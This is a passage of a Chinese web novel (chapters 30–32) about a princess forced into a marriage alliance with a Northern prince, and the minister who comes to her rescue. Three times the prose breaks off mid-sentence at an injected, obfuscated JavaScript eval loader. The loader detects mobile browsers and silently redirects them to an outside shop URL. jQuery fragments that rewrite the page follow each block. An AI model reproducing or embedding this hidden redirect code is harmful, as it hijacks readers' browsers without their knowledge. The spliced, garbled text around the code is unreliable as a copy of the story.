“徐大人莫不是才疏学浅,见识不够,不知道玉山堪舆图的价值。”
徐淮止从容道:“大周仅有这一位公主,可玉山堪舆图却不止一张,凭何相提并论?”
在众人的窃窃私语中,般和蹙眉道:“什么叫不止一张?”
“早年还不曾入朝为官时,本官也恰巧寻到过这张堪舆图。”在般和与众人震惊的目光中,徐淮止继续道:“这样东西并不稀罕,在本官看来,太子并无诚意。”
“你说有便有?孤凭何信你?”
徐淮止淡然道:“那张图现在就在本官家里,若般和太子想看,本官可以让人跑一趟,取过来给太子看看。”
他神情太过镇定,以至于无人能揣测出他话中真假。
徐淮止拢于袖中的双手慢条斯理的敲打在手臂上,他缓慢道:“先不论这门婚事是否能成,般和太子既要求娶,那便该拿出求娶的样子来,本官记着大周与北朝边境的营州乃贸易要处,富饶繁华,隶属于北朝管辖。”
什么叫做语不惊人死不休,般和今日算是见识到了。
“孤先前怎么没看出来徐大人这般幽默,张口便要一个城池,还是边塞要地的城池。”般和眼底冷光乍现,俨然不复方才爽朗之姿。
眼见火光蔓延,周凌笑道:“般和太子莫要见怪,徐相向来忠心为国,若有得罪之处,实属误会,误会……”
般和冷笑一声,并未将周凌的话放在眼里,“误会?孤本以为北朝与大周乃是兄弟,没想到,徐大人竟有此等野心。”
“徐相,般和太子与昭和两情相悦,你何苦拿出此等要求为难太子呢?”
徐淮止看向周凌,目光冷沉,“两情相悦?”
他看向周凌的眼神如同在看一个笑话。
想起方才离开保和殿时,周芮害怕般和的那段说辞。
两情相悦?
可笑。
周凌被徐淮止的眸中的冷光吓住,忽然便庆幸自己多思多虑之后的部署。
“对啊,徐相没瞧见昭和今个儿在宴上的神情吗?以昭和向来没有男女之防的性子,若对般和太子没有心思,又怎会拒绝本王的提议,本王觉着,她定是遇到真正心悦之人,所以害羞了,女子嘛,大都如此,徐相从未与女子谈过风月,不知晓也是正常的。”
“……”
周凌及冠之时便迎娶了王妃,后院姬妾更是不少,可他的话听在徐淮止耳朵里却仍是胡说八道。
或许旁的女子遇见心悦之人会羞赫,但周芮绝对不会。
想到以往被她纠缠的烦闷,徐淮止冷声道:“宁王对自个儿的妹妹,似乎并不了解。”
“王爷,王爷公主她……”
宫女小跑后气息紊乱的听在角亭边大口呼吸,话音未落,几人便抬眸看向她,随即目光不由自主的落到她身后不远处的梨花树下。
打扮的娇奢华贵的少女正提着裙角一步一步的走来。凌乱的发丝、歪歪扭扭挂在发间的珠钗、还有她衣裙上沾染的土灰都像是不知去哪儿玩了一圈的小猫,正灰头土脸的朝着家中走来。
周凌先一步开口,“去哪儿了?”
周芮脸上的泪痕早已干涸,她别开头没有对上周凌的目光,怕自个儿忍不住露出凶相,再给阿樾带去不必要的麻烦,“我就四处走了走,让皇兄担心了。”
“你啊。”周凌斥责道:“从小性子就调皮,如今都已过十八,还不让人省心,依本王看,还是早早将你嫁出去,让你未来夫君好好教教你。”
拢在袖中的指尖狠狠掐着掌心嫩肉,周芮深吸一口气,“多谢皇兄关心,不知皇兄想给我安排怎么一门婚事?”
站在亭中始终不曾挪步的徐淮止忽而皱眉看向周芮。
她这一问一答,很明显是在顺着周凌的话头往下,便是有几分
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176942|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脑子的人,也知晓此时不该接话。
周凌忽而一笑,“你是本王唯一的妹妹,你的婚事自然由你自个儿做主,昭和可有心悦之人?”
“自然是有的。”
徐淮止眉宇间的沟壑越聚越拢。
“好。”周凌笑着走下角亭的台阶,“只要此人门当户对,与你相配,本王立即为你们赐婚。”
他洪亮的声音几乎传到了每个朝臣的耳朵里,陆陆续续的有人抬手恭维,有人甚至提前向周芮说着祝词。
她抬眸看向亭中站着的两人。
般和脸上,是一如既往的自信,仿佛早已料到会有这一遭,就如同他在回廊上说的那句话——
拭目以待。
果真是周凌的局。
知晓和亲一事没那般简单,便要让她自个儿提出来,以她流连风月的名声,做出非北朝太子不嫁这般的事情来,也不会令人怀疑。
“昭和,说说,此人是谁?”
“我心悦之人是……”
周芮下意识抬眸看向落后般和一步,穿着官袍的徐淮止。
她宁愿遭受徐淮止日日冷眼,也不想与这太子有半分纠缠,可眼下,她做的一切未雨绸缪在此刻似乎都化为了乌有。
阿樾一日在宫里,她便一日都有把柄捏在这些人身上,便是她在此刻拿徐淮止做挡箭牌又如何,他从来不是任人揉搓的柿子,他不会帮她,甚至可能还会……
更重要的是,阿樾在周凌手里,她没有时间了。
周芮垂下双眸的一刻,没有瞧见徐淮止眼底骤然浮现的冷寒。
“般和太子。”
不大不小的声音被春风吹进众人的耳朵里,般和酣畅淋漓的大笑两声后,看向身旁脸色阴沉的徐淮止,“徐大人,可听见了?”
徐淮止眼底的暗潮疯狂涌动一瞬,又恢复如常。
周凌讶异道:“当真?”
周芮看向他,眸中是化不开的怒火,“当真,我对般和太子一见钟情,嫁给他是我毕生所愿,还请皇兄……成全。”
周凌勾唇一笑,“既是一对有情人,那便让钦天监算算日子……”
“不必了。”周芮打断道:“我一日都不想再等,般和太子何日启程,我与他一同回去。”
周凌错愕一瞬,随即眉开眼笑,“没想到昭和对般和太子竟……如此情深。”
周芮同样偏头一笑,只是眸中却只有无尽的霜寒。
或许是她的说辞让周凌满意了,只见他忽然对着一旁的太监招手,低头吩咐了两句后,才笑着看向她,“既是皇妹出嫁,那本王定会备上一份令皇妹舒心的嫁妆。”
听懂他的言外之意后,周芮才彻底松了口气。
“瞧本王这记性……”周凌忽然一阵失笑,将话头重新落到马场上,仿佛方才之事不过只是短短的一段小插曲。
他领着众臣,再次朝着马场走去。在人群离开后,周芮佯装出来的顺从才彻底落下。
跟前一部分的阳光忽然被阴影笼罩,停在她身侧的高大身影无端的令她有些心虚。
周芮本以为徐淮止要问她缘由,她在心中慌忙思索着如何才能让徐淮止与她同仇敌忾化解危机时,他却道:
“殿下与般和太子,甚是般配。”
31. 第31章
周芮怔愣抬头的瞬间,徐淮止恰巧错开眼,抬步离开。只留给她一个冷漠至极的背影。
他好像……又生气了。
为什么?
周芮蹙眉,不明白自个儿到底哪里又得罪他了。
与徐淮止擦肩而过的青雉疾步朝着周芮走来,可周芮眼中只有徐淮止越来越远的背影与方才那句莫名为她贺喜的话。
“殿下。”
青雉抬手在周芮眼前轻晃,“殿下?”
周芮回过神来,看向青雉,“你方才去哪儿了?从保和殿出来你便没了踪影。”
“殿下不是想知晓少时缺失的那段记忆里到底发生了何事吗?我从前在太子身侧时也认识一些宫女,所以方才就去向她们打听了一下。”
“此事连外祖父都不知晓,宫女怎么可能……”话到一半,周芮瞧见青雉眼中的笑意,呼吸顿时凝滞片刻,“打听出来了?”
“殿下可别小瞧宫女,有时候她们知道的,比主子还多呢。”
周芮催促道:“快说。”
青雉左右瞧了瞧,随即附在周芮耳畔,小声将方才打听到的消息一五一十的告诉了她。
周芮双眸燃起亮光,“所以我是被流寇劫走,父皇杀的,也都是那些流寇?后来父皇找到我时,我发着高烧,怀里抱着一个虎头娃娃不放?”
青雉颔首,“不仅如此,听说您烧糊涂了,嘴里还一直念叨着哥哥呢。”
周芮不解看向她,“哥哥?”
父皇的子嗣并不多,她与宫里的兄弟姊妹也从不亲近,唯有一个与她同日出生的阿樾,可她这辈子都不可能唤他哥哥。
“青雉,你说有没有可能……”
那声哥哥,唤的是徐淮止?
她从小到大,唯一记不清的便是那段记忆,若她与徐淮止相识,也只能是在那时。虽然其中的细枝末节没人能告诉她,但她连发着高烧时都在唤哥哥,那个哥哥对她一定很重要。
“殿下,方才我不在时,可有发生什么事?”
周芮还没理清的思绪被青雉打断,她沉默片刻,才将方才之事化繁为简,告诉了青雉。
青雉脸色骤然惨白,“殿下,那现在该如何是好?若不然,若不然还是按照原来的计划,将您住在徐相家中的事……”
“没用了。”周芮颇为心塞,“和亲之事已成,便是现在说出来又如何?周凌多疑,又不是没胆子,况且徐淮止方才并未阻止,眼下便是说破天去,周凌也不会觉着我在徐淮止心里有多少份量。”
“那咱们先前所做的,不都成了一场空。”
“也不是全然无用。”
至少她瞧见了徐淮止在意的那两幅画,或许,还有一点希望。
虽然前因后果她始终没有拼凑完整,但眼下也没有旁的法子了。
周芮靠近青雉耳边,小声嘱咐了几句后,青雉讶异抬眸,随即郑重道:“我知道了,殿下放心。”
-
弦月当空,万籁俱寂。
可徐淮止却觉着今夜,格外的吵。
夜风吹落枝叶的声音飒飒声顺着窗户缝隙溜进屋里,平躺在床上的男子赫然睁开眼,半晌后他掀开薄被,朝着油灯走去。
刚熄不到半刻的灯盏再次燃起,徐淮止跪坐在窗边,雪白的中衣外只披了一件薄薄的外衫,火光映照下,他本就线条分明的脸更显凌厉。
不知他执笔在纸上写着什么,一张又一张,始终不曾停下。
随着纸张被密密麻麻的字迹填满,徐淮止的脸色越发的难看。
忽然,屋门被人从外面敲响。
笔尖一顿,在纸上晕染开来。
徐淮止阖上眼,压下心中万千思绪后,才恢复如常,将笔放至砚台旁,云淡风轻的道:“进来。”
屋门吱呀一声打开,顺玉端着热腾腾的面条走了进来,“大人,你晚上还没用膳呢,属下刚煮好的面,你尝……”
他抬头对上徐淮止漆黑的神色,小心询问:“大人,是属下……做错什么了吗?”
徐淮止沉默一瞬,“没有,端过来吧。”
顺玉蹑手蹑脚的将面放到徐淮止跟前,“大人,今日在宫中发生何事了?属下觉着,自您出宫起,好像就一直心绪不宁,像是丢了什么东西似的。”
徐淮止慢条斯理的夹着碗中的面条,可扑鼻的香气却没有勾起他半点胃口,“一些小事,不碍事。”
顺玉若有所思的点着头,“那殿下为何忽然要回赵家了?”
徐淮止的手顿在半空,掀起眼皮看向他,“她走了?”
“方才赵家的马车就停在外边儿,属下来给您送吃食的时候,正好瞧见殿下上马车,现在应当已经离开了。”
徐淮止望着浮在面上的油点,沉下气息后才低头吃了一口,鲜香四溢,可徐淮止却觉着味同嚼蜡。
他放下筷子,再吃不进一口。
顺玉瞧了一眼他的神色,小心询问:“大人,是……不好吃吗?”
“没胃口,端下去吧。”
徐淮止垂下眼睑,翻阅着桌上书册,纸张哗啦啦的响动,吹拂着一旁的油灯。
直到顺玉一步三回头的离开后,徐淮止才撂下书册,低头捏着眉心。
“我心悦之人是般和太子。”清亮的声音回荡在耳畔,好不容易压下的愠怒再次涌了上来。
徐淮止始终不明白自个儿到底在气什么。
周芮要嫁谁,与他何干?
她既要上赶着找死,他还能阻止不成?
她说来便来,说走就走,当真把他这儿当成客栈了!
以往那般伶牙俐齿,满心想着如何利用他,如何接近他,可真到了这个时候,她却眼巴巴的凑到那些人跟前去,生怕自个儿死的不够快。
一整夜,徐淮止的屋内都亮如白昼,直到天边渐渐泛白,灯盏才彻底熄灭。
-
两日后,行礼嫁妆摆满了赵家门口的整条巷子,随侍三十名,丫鬟四个,再加上六辆停的整整齐齐的马车,放眼望去,与十里红妆一般令人赞叹。
可与嫁娶不同的是,站在马车前道别的少女并未着嫁衣,而是一身藕色襦裙,挽着仙女髻,瞧着只不过是要出一趟远门而已。
赵穹沉重的目光看了周芮许久,才缓缓挪开,“你可知你这一去,很有可能便回不来了。”
“知道。”
周芮对着赵穹浅笑道:“外祖父,那……阿芮可以不去吗?”
她这一问,注定得不到回应。
周芮朝着巷尾看去。
她多希
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14187748|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望此时此刻能从巷尾处跑来一个姑娘,她将手举得高高的,手中握着一只虎头娃娃,兴奋的告诉她,东西找到了。
可周芮看了许久,除了一望无际的马车外,并无其他。
四周安静的可怕。
“阿芮,你向来与寻常闺阁女子不同,从不看重名声,也不将旁人的目光放在眼里,从前我觉着你这样不好,可是如今……”
赵穹看向她,手指下意识动了动,却又在转眼停滞下来,千言万语最终化为了一句,“你很好。”
周芮垂下眼睑,抿着唇并未说话。
“记住了,活着比什么都重要。”赵穹在赵亦翀的搀扶下,转身朝着府中走去,“去吧。”
周芮抬眼看向巷尾,那里始终都不曾出现她想见的身影,“殿下,时辰到了,莫让太子久等。”
周芮看向低头提醒她的婢女,“你是般和太子身边的人?”
“回殿下,是。”
“既然是,那就应该清楚,以本宫的身份你家太子绝不可能娶我为妻,既是妾,那让他多等一会儿又何妨?”
婢女错愕抬头,一时之间没有想明白这话中之意。
难道不正因为是妾,才更不该让夫家久等吗?
可转眼,她又忽然明白过来。
这是公主在因着妾的身份耍性子呢。堂堂一国公主,为了嫁给太子甘心做妾,虽说是两情相悦,这到底是皇家出身,心高气傲,想以此让自个儿更顺心些,也是常事。
婢女后退一步,不再催促。
直到半个时辰后,般和太子身边的手下骑马而来,连声催促,周芮这才依依不舍的收回目光,坐上马车。
一炷香后。
赵家府前紧闭的木门上,一只手重重拍下,又顺着门的纹理缓慢的滑下,随即又重重拍上。
除了女子急促的呼吸声外,还有断断续续的话从她口中发出来,“殿下、殿下……青、青雉回……回来了……”
随着大门被人从里边打开,失去支撑的青雉差点摔倒在地。
门房堪堪将人扶住,错愕道:“青雉姑娘,您这是怎的了?”
“殿下、殿下呢?”
她这几日不眠不休的在东宫翻找东西,一边要避免被那些奴才发现,一边还要强忍着自个儿不去见太子。
眼下,她已然精疲力尽,没有力气了。
“殿下她已经走了啊。”
青雉拽住他的衣袖,好不容易缓过气来,“你是说,殿下已经出发了?”
门房小心翼翼,“是、是啊……”
青雉猛地将人推开,跌跌撞撞的朝着门外跑去。
“青雉姑娘!你东西掉了!”
门房刚捡起地上的虎头娃娃,便被青雉一把躲过,不消片刻,她的身影再次消失在巷尾处。
眼下,她去追上周芮已经没有意义。
烈阳当空,穿着一身青色劲装的姑娘朝着阳光来时的方向走去。
想要将人带回来,只能将东西交给徐淮止。
殿下说了,伸头一刀缩头也是一刀,不如赌个大的。
若是赢了,满盘皆赢。
若是输了,那也只是弃她一人而已。
输赢不知,可这个还没开始的赌注,不能毁在她手里!
32. 第32章
春日晌午,烈阳当空。
西街茶坊二楼的窗户旁,男子负手而立,望着窗下车水马龙,声音中透着一缕凉薄,“黎王所言,本官不明白。”
日光从半开的窗户落进屋内,坐在木桌旁的周启抬手为自个儿斟上一杯茶,浅嘬一口后才道:“徐相不用与本王装傻,周凌为何会对土匪一事了解的这般清楚,本王早已知晓。”
“只是本王不明白,和他那个除了舞文弄墨什么都不会的皇子比起来,本王差在哪儿了?”周启抬头看向徐淮止,“为何徐相宁愿助他,也不愿为本王办事?”
徐淮止压下眸底的不耐,回头看向周启,半张陷在阴影中的脸显得尤为凌厉,“黎王今日来此若只是为了质问本官,那恕不奉陪。”
今日的他,似乎格外没有耐心,不复往日温和。
“徐相这是心虚了?”周启起身,在徐淮止从他身边经过时,猛地抓住他的手臂,冷声道:“本王敬你,是因为你是徐淮止,可你若铁了心要与本王作对,本王也不介意与你斗上一斗。”
本就烦闷的心绪被周启一点就燃。
原本不愿与他多话的徐淮止,忽而转头看向他,漆黑的眸中带着说不清道不明的意味,“王爷知道为何你明明比宁王势大,却只能与他斗个不相上下的原因吗?”
周启紧紧的盯着他。
“因为……”
他抬手,骨节分明的手指缓慢的点在太阳穴上,“这里。”
周启的脸色刹那间五彩缤纷,抓着徐淮止的手下意识的用力,几乎要将手臂折断。
就在徐淮止脸色彻底阴沉下来的瞬间,顺玉急促的上楼来到徐淮止跟前,看了一眼周启,小声附在徐淮止耳畔道:“大人,青雉姑娘在下面,有要事要见您。”
徐淮止垂放在身侧的指尖一颤,蜷缩的手指不过眨眼间又恢复如常。
他侧头看向周启,“王爷再不放开,这趟浑水,本官也不介意淌一淌。”
周启下意识松开手,脑海中不住的转动思索着徐淮止方才那句话的意思。
没了桎梏后,徐淮止跟着顺玉下楼,远远的便瞧见茶坊门前焦急等待的女子,她左右张望,压抑不住的紧张与不安纷纷落到她来回走动的步伐上。
在她不知多少次的抬眼后,她双眸迸发出惊喜,三步并作两步的朝着徐淮止走去,“徐相,求您,救救殿下吧。”
徐淮止眉梢轻动,随后面不改色的道:“婚事是她自己求的,何需我救。”
“殿下她是被逼无奈的,她是为了救太子,不得已才……”青雉见他并不惊讶,知晓他早有猜测,只能咬牙,掀袍跪地,“求徐相,救殿下。”
徐淮止低头看她,“赵家精心培养的小侍,个个心高气傲,为了她向本官下跪,也不怕折了骨头。”
“求徐相,救殿下。”她眼下也顾不得惊讶徐淮止为何知道赵家的事情,时间越久,她心里便越是不安。
忽然,青雉想起什么,连忙将一直挂在身后的虎头娃娃扯下来,激动的递给徐淮止,“这个,您瞧瞧这个,是殿下让我交给您的。”
徐淮止冷淡的目光落到虎头娃娃上,眉宇轻蹙。
直到瞧见娃娃背后用针线歪歪扭扭缝制着一个小小的止后,瞳孔才猛然紧缩,所有的从容在瞬间碎成破镜。
-
远离京城的热闹后,只有城外的鸟儿在枝头发出婉转的嘤咛。
许多辆马车形成的长队一路往北而去,不知行了多久,天色渐暗,坐在最前头高头大马上的男子忽而抬手,身后的队伍渐渐放缓脚步停了下来。
般和调转马头,看向身后精致华贵的马车,“公主,前面土地平坦广阔,今日就在此扎营吧。”
话音落下几息后,马车内才传来周芮的声音,“般和太子的意思是……让本宫风餐露宿?”
高高在上的质问没有给般和留半点颜面,他脸色霎时冷沉之际,侯在马车旁的婢女瞧见,连忙劝道:“殿下,方圆几里没有客栈,距离下个城镇还有几十里路要走,殿下今夜便将就一下吧。”
马车内迟迟没有传出声音,般和大手一挥,铿锵有力的声音传遍整个队伍,“扎营!”
众人井然有序的从马车上搬下东西来,熟稔的在平地上搭帐燃火,不多时,几个能供人休憩的帐篷便出现在空地之上。
跟随在般和身边的侍卫将烤好的鹿腿肉递到般和跟前,般和大口撕咬之时,目光始终紧紧盯着不远处的马车。
侍卫正欲递上酒袋,般和忽然抬手阻拦,起身朝着马车走去。
“公主肚子应该饿了吧?不然下来吃点东西?”
在马车上饿到只能吃干粮果腹的周芮骤然间闻到肉香,不争气的咽了口唾沫。
可让她下去面对般和毫不掩饰的目光,她宁愿在马车上吃干粮。
手中干扁的饼子被周芮狠狠咬下,刚咀嚼两下,马车门骤然被人从外推开,般和身手矫健的跳上马车,原本宽阔的地方骤然变得狭窄起来。
周芮横眉冷目,愠怒道:“下去!”
话虽如此,可她的余光却不由自主的落在被般和拿着的鹿腿肉上。
她喉口下意识的吞咽没有逃过般和的眼睛,般和将鹿腿放到一旁,诱惑道:“北朝路途遥远,公主难不成这一路都只吃那干巴巴的饼子?”
他说的有道理。
“东西留下,你下去。”
一直注视着周芮的般和闻言,顿时朗声大笑起来,满眼的喜悦令他止不住伸长手臂,想将躲在角落的姑娘捞进怀里。
可指尖连皮肉都不曾触碰到,便在半空被周芮狠狠打下,“你做什么!”
如猫儿抓后的伤痕出现在手背之上,笑声戛然而止,般和低头看了一眼,在空中甩了甩手,一双细长的眼睛这才紧紧看向周芮,“公主这么警惕我做什么?你我即将结为夫妻,更亲密的事情都做得……”
般和身子前倾,逐渐靠近周芮,抬手勾住她一缕耳发,“不过是碰……”
话音未落,周芮便将自个儿的头发拨开,指尖在一旁的窗沿上轻蹭,直到细嫩的指尖磨出红印,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196394|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这才重新将手垂放至腿上。
她所有的动作,般和都看在眼里。
舌尖从后牙扫过,般和低笑一声,这才掀起眼皮,双眼直勾勾的盯着周芮,眼底再不见一丝笑意,“孤希望公主明白,从坐上这辆马车开始,说好听点是夫妻,说难听点,就是阶下囚。”
般和一把拽住周芮的手腕,在她强装镇定的目光中冷笑道:“孤是喜欢野性未除的猫儿,但更喜欢亲手拔掉猫儿的爪牙,那种滋味,想必公主从没感受过。”
周芮费力挣扎着,可她越是挣扎,手腕上的那只大手便越是用力,好似无论如何都逃不出他的手掌心。
她心中满是焦急,不明白事情为何总是出乎意料。
她以为般和喜欢的就是她高傲不驯的性子,是以她并未掩藏,反而随着本心行事。
可奈何此人有癫病。
仿若京中那些喜欢见血的权贵,总是养一些金贵之物,又将它们尽数杀死。
“你放开本宫!”
周芮心底慌乱,可狭窄的马车内,只有她与般和两人,就连外边儿守着的人马也几乎都是般和的手下,只能眼睁睁看着般和逼近,却无计可施。
忽然,眼前闪过一道白光,只见般和手中不知何时多了一把小刀,漆黑的发丝落至刀刃上,不曾停留片刻便被切成了两段。
周芮瞪圆双目,几乎忘记了挣扎,眼里只有那把逐渐向她逼近的小刀。
般和眼底氤氲着黑雾,那隐隐的兴奋几乎要破土而出。
原来他所说的拔,是真正意义上的拔,而不是……
“公主,既然要当孤的女人,那就该提前习惯一下,疼多了就不疼了。”
几近昏暗的光打在他脸上,狰狞的像是从地狱爬出来的恶鬼,觊觎的目光来回扫视后,落到了周芮如羊脂白玉般的脖颈上。
周芮拼命向后退着,可她已在角落,身后没有退路。
几乎逼近脖颈的刀刃泛着扎眼的白光,冰凉贴上脖颈的一瞬,她立马感觉到一股刺痛。
所有的惊惧汇聚到瞳仁,求生的本能让她下意识张口求饶,“太子,我……”
话音未落,地上忽然开始颤动,如千军万马般的蹄声自远处传来,还不等两人反应过来,马车外便响起侍卫急切的声音,“太子殿下,不远处来了大批人马,看装束,好像是薛家军……”
“薛家军?”般和眉目一凝,此刻也顾不得周芮,连忙走下马车询问,“薛家军?不是说薛家后辈此生不再入军营吗,怎会突然出现在这儿?!”
那个响彻六国的薛家军是许多人的噩梦,可自从薛北争失踪后,薛家军便不再独树一帜,销声匿迹。如今除了大周皇帝,无人可以调动的薛家军,怎会突然来势汹汹……
“太子殿下,快看!”
般和应声望去。
于黑夜之中,上千匹马儿载着悍勇之士,自弥漫的尘沙中穿过,铁骑纵横,震彻云霄。
直到最前头那人勒马停在十丈之外,般和才从那清泠挺拔的身姿中,看清来人是谁。